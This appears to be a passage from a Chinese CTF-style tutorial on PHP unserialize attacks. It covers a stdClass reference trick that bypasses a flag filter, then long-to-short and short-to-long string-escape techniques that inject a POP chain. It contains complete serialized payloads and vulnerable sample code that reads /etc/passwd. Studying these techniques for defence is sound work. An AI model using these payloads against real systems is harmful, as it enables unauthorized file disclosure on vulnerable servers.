if ($obj->flag === 'flag') {
$obj->flag = $flag;
}
foreach ($obj as $k => $v) {
if ($k !== "flag") {
echo $v;
}
}
我们可以直接构造一个 stdClass
类型的对象完成利用。另外还要绕过一些检查:
-
使用 Unicode 字符串绕过对
flag
的过滤。 -
通过指针引用让对象中的
flag
和一个其他成员指向同一字符串。O:8:"stdClass":2:{s:1:"a";S:4:"\66\6c\61\67";S:4:"\66\6c\61\67";R:2;}
反序列化字符逃逸
反序列化字符串逃逸就是利用序列化和反序列化之间存在对序列化数据长度的改变,造成类型混淆(例如把原本的字符串类型成员转变为对象成员),从而在用户不能完全控制序列化字符串的情况下构造 POP 链完成利用。
长到短替换
例如下面这段代码:
php
<?php
show_source(__FILE__);
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A {
public $username;
public $password;
function __construct($a, $b) {
$this->username = $a;
$this->password = $b;
}
}
class B {
public $b = 'world';
function __destruct() {
$c = 'hello' . $this->b;
echo $c;
}
}
class C {
public $c;
function __toString() {
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'], $_GET['b']);
$b = unserialize(read(write(serialize($a))));
分析代码发现我们构造这样一个 POP 链就可以实现任意文件读:
B Object
(
[b] => C Object
(
[c] => /etc/passwd
)
)
我们只能控制序列化数据中 A
的两个属性的值,但是在反序列化前序列化数据会经历 write
和 read
两个函数:
write
:chr(0) . '*' . chr(0)
(长度 3)→\0\0\0
(长度 6)read
:\0\0\0
(长度 6)→chr(0) . '*' . chr(0)
(长度 3)
由于替换不等长,因此我们可以在序列化数据中可控的字符串部分添加 \0\0\0
使得完成替换后字符串长度变短,但序列化数据中藐视字符串长度的字段没有改变,导致 PHP 反序列化的时候发生类型混淆。
我们可以构造如下序列化数据,其中橙色和紫色部分分别是 $_GET['a']
和 $_GET['b']
。
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:89:"a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:11:"/etc/passwd";}}s:0:"";s:0:"";}
经过 write
和 read
替换后,序列化数据变成下面这种形式,其中 username
(橙色部分)字符串长度缩短,但是标记的长度仍是 48,因此会将后续部分识别为字符串。这样就可以将我们在 password
中伪造的 password
键值对(蓝色和红色)解析。
O:1:"A":2:{s:8:"username";s:48:"0*00*00*00*00*00*00*00*0";s:8:"password";s:89:"a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:11:"/etc/passwd";}}s:0:"";s:0:"";}
这里解释一下输入构造:
a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:11:"/etc/passwd";}}s:0:"";s:0:"
a";
:因为每替换一次字符串缩短 3 字节,而我们要把";s:8:"password";s:89:
覆盖,但是这段字符串长度为 22,不能被 3 整除,因此后面需要填充字符。这里要注意不能在$_GET['a']
填充字符,因为这样会算到username
中。而在$_GET['b']
填充字符会多一个"
因此只需填充一个字符a
就可以保证被覆盖的字符串长度为 24,刚好被 3 整除。另外后面还要添加一个"
确保闭合。s:0:"";s:0:"
:password
字段的值的右边的"
需要被闭合,但是伪造的password
是一个对象的序列化结果,不以"
闭合,因此需要再构造一个字符串属性值s:0:"";s:0:"
来闭合(其实直接闭合也是可以的,后面的无效字符会被省略)。
短到长的替换
在上一个示例的基础上我们把 read
和 write
函数调换顺序。此时我们只要输入包含 chr(0) . '*' . chr(0)
子串的字符串就可以将序列化字符串增长。
php
$a = new A($_GET['a'], $_GET['b']);
$b = unserialize(read(write(serialize($a))));
短到长的替换只需要控制一个字段就可以实现字符逃逸,因为我们只需要在字符串前面填充适当数量的可替换字符,就可以把我们伪造的序列化字符串逃逸到字符串外面。
例如我们可以构造如下的序列化字符串,其中橙色和蓝色部分是我们的输入:
O:1:"A":2:{s:8:"username";s:162:"0*00*00*00*00*00*00*00*00*00*00*00*00*00*00*00*00*00*00*00*00*00*00*00*00*00*00*0";s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:11:"/etc/passwd";}}s:0:"";s:0:"";s:8:"password";s:3:"aaa";}
经过 read
和 write
替换后,序列化数据变成下面这种形式:
O:1:"A":2:{s:8:"username";s:162:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:11:"/etc/passwd";}}s:0:"";s:0:"";s:8:"password";s:3:"aaa";}
这里要注意,其实我们完成字符逃逸之后整个序列化字符串中类的属性数量和实际属性数量是对不上的,因此会在反序列化的过程中提前析构,因此最好选择靠前的可控字段进行逃逸。